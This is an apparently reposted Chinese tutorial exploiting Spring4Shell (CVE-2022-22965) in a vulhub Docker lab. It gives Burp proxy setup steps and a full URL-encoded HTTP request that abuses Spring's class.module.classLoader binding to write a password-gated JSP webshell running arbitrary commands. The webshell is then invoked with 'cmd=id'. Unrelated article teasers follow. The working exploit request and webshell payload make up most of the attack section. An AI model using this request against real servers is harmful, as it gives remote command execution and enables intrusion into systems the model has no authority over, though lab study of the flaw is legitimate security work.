Java 开发 框架安全:Spring 漏洞序列.(CVE-2022-22965)

什么叫 Spring 框架.

Spring 框架是一个用于构建企业级应用程序的开源框架。它提供了一种全面的编程和配置模型,可以简化应用程序的开发过程。Spring 框架的核心特性包括依赖注入(Dependency Injection)、面向切面编程(Aspect-Oriented Programming)、声明式事务管理(Declarative Transaction Management)等。依赖注入是 Spring 框架的核心概念之一,它通过将对象之间的依赖关系外部化,使得对象之间的协作更加灵活和可测试。Spring 框架提供了多种方式来实现依赖注入,包括构造函数注入、Setter 方法注入和字段注入。


目录:

什么叫 Spring 框架.

开启 漏洞 靶场:

(1)查看目录:

(2)启用 vulhub 漏洞:

(3)进行浏览:主机的 8080 端口.

进行 漏洞 测试:

第一步:设置代理服务器

(1)设置代理服务器

(2) 新建代理服务器,选择手动代理

(3)使用 刚刚设置的代理.

第二步:执行进行抓包.

 (1)打开Burp,点击代理 设置监听的IP地址和端口

第三步:进行漏洞测试.


开启 漏洞 靶场:

Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客


(1)查看目录:

(1)cd vulhub(2)ls

​ 


(2)启用 vulhub 漏洞:

(1)cd spring                     // 切换到对应的漏洞目录.(2)cd CVE-2022-22965              // 切换到对应的漏洞版本.(3)docker-compose build           // 建立容器(4)docker-compose up -d           //   启用漏洞环境.

​ 


(3)进行浏览:主机的 8080 端口.


进行 漏洞 测试:

第一步:设置代理服务器

(1)设置代理服务器(我用的是:OWASP浏览器,也可以用别的浏览器 设置代理服务器就行)


(2) 新建代理服务器,选择手动代理  设置127.0.0.1(为本地的IP地址),设置代理的端口8080


(3)使用 刚刚设置的代理.


第二步:执行进行抓包.

 (1)打开Burp,点击代理 设置监听的IP地址和端口(就是刚刚浏览器设置的代理,127.0.0.1(是本地的IP地址),8080(是监听的端口))


(2)进行访问漏洞的链接.(使用 Burp 抓包.)

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.32.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1


第三步:进行漏洞测试.

(1)访问刚才上传的 JSP webshell,并执行任意命令.

http://172.16.10.19:8080/tomcatwar.jsp?pwd=j&cmd=id

   

   

  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/688930.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

微火全域外卖团购服务,引领商家与合伙人变革行业赛道!

在当今的数字化时代&#xff0c;外卖业务正成为越来越多人的日常生活选择。然而&#xff0c;随着市场的日益饱和和竞争的加剧&#xff0c;传统外卖模式已经难以满足商家和消费者的多元化需求。正是在这样的背景下&#xff0c;全域外卖团购业务应运而生&#xff0c;以其独特的模…

TikTok海外运营:云手机的四种快速变现方法

随着TikTok用户基数的持续扩大&#xff0c;这个平台已成为全球创业者和品牌的新战场。其用户群接近20亿&#xff0c;并以年轻用户为主力军&#xff0c;市场渗透率逐年攀升。无论是大型组织、知名品牌&#xff0c;还是个人创业者&#xff0c;都无法忽视TikTok所带来的巨大商机。…

【VTKExamples::Rendering】第五期 环形阵列Rotations

很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ:870202403 公众号:VTK忠粉 前言 本文分享VTK样例环形阵列Rotations,希望对各位小伙伴有所帮助! 感谢各位小伙伴的点赞+关注,小易会继续努力分享,一起进步! 你的点赞就是我的动力(^U^)ノ~YO 1. Rotations

全线发力,多维创新 惠普升级布局家用打印市场

“印在家&#xff0c;赢未来”2024 惠普春季家用打印机趋势新品发布会暨合作伙伴大会在北京成功举办&#xff0c;这次发布会可谓是家用打印市场的一大盛事&#xff0c;惠普针对中国家庭用户的实际需求&#xff0c;精心整合并推出了全新的家用打印产品系列&#xff0c;旨在满足日…

Substrate 入门课第 14 期圆满结束,岗位内推直达知名 Web3 项目!

Substrate&#xff0c;一个完全免费且开源的框架&#xff0c;利用 Rust 语言的强大功能和安全性&#xff0c;为全球开发者提供了一个高效和灵活的开发环境。借助其模块化的设计&#xff0c;即使是新手开发者也能在短短 15 分钟内搭建起定制化的区块链。自 2020 年以来&#xff…

Maven- Profile详解

前言 Profile能让你为一个特殊的环境自定义一个特殊的构建&#xff1b;profile使得不同环境间构建的可移植性成为可能。 <project><profiles><profile><build><defaultGoal>...</defaultGoal><finalName>...</finalName><…

Sharding-JDBC一:MySQL主从复制搭建

MySQL主从同步 MySQL主从同步原理一主多从配置准备主服务器创建文件夹创建docker-compose-mysql.yml文件准备从服务器启动主从同步搭建3508 步骤和3507一样 启动主从同步实现主从同步停止和重置常见问题 MySQL主从同步原理 基本原理&#xff1a; slave会从master读取binlog来进…

如何在Springboot项目的Mapper中增加一个新的sql语句

在做项目的过程中&#xff0c;我发现有的时候需要用到一些不在springboot的Mapper中的Sql语句&#xff0c;那么应该如何进行操作呐&#xff1f;&#xff1f; 平常我们创建springbootmybatisPlus项目的时候是这样创建的&#xff1a;&#xff1a; 1、创建实体类 2、创建Mappe…

Thread类的属性及常见方法

Thread是JVM用于管理线程的类&#xff0c;换句话说&#xff0c;每个线程都有一个Thread对象与之关联&#xff0c;一个Thread对象有ID、名称、优先级、状态等属性&#xff0c;JVM会将这些Thread对象组织起来&#xff0c;用于线程调度&#xff0c;线程管理。 1. Thread的常见构造…

Meilisearch使用过程趟过的坑

Elasticsearch 做为老牌搜索引擎&#xff0c;功能基本满足&#xff0c;但复杂&#xff0c;重量级&#xff0c;适合大数据量。 MeiliSearch 设计目标针对数据在 500GB 左右的搜索需求&#xff0c;极快&#xff0c;单文件&#xff0c;超轻量。 所以&#xff0c;对于中小型项目来说…

HashSet扩容机制

HashSet底层是HashMap,第一次添加的时候,table数组扩容到16,临界值是16*加载因子(默认是0.75),到达临界值进行扩容。 HashSet<Integer> hashSet = new HashSet<>();hashSet.add(5);hashSet.add(2);hashSet.add(5);hashSet.add(8);hashSet.add(1);当new一个H…

地磁暴红色预警来袭,普通人该如何应对?绝绝子的防护指南来了

近日&#xff0c;国家空间天气监测预警中心发布了一则令人瞩目的消息——地磁暴红色预警。这一预警不仅提醒我们地磁暴即将影响我国的电离层和低轨卫星&#xff0c;更让我们深刻认识到地球空间环境的脆弱性和复杂性。对于普通公众而言&#xff0c;地磁暴的概念可能相对陌生&…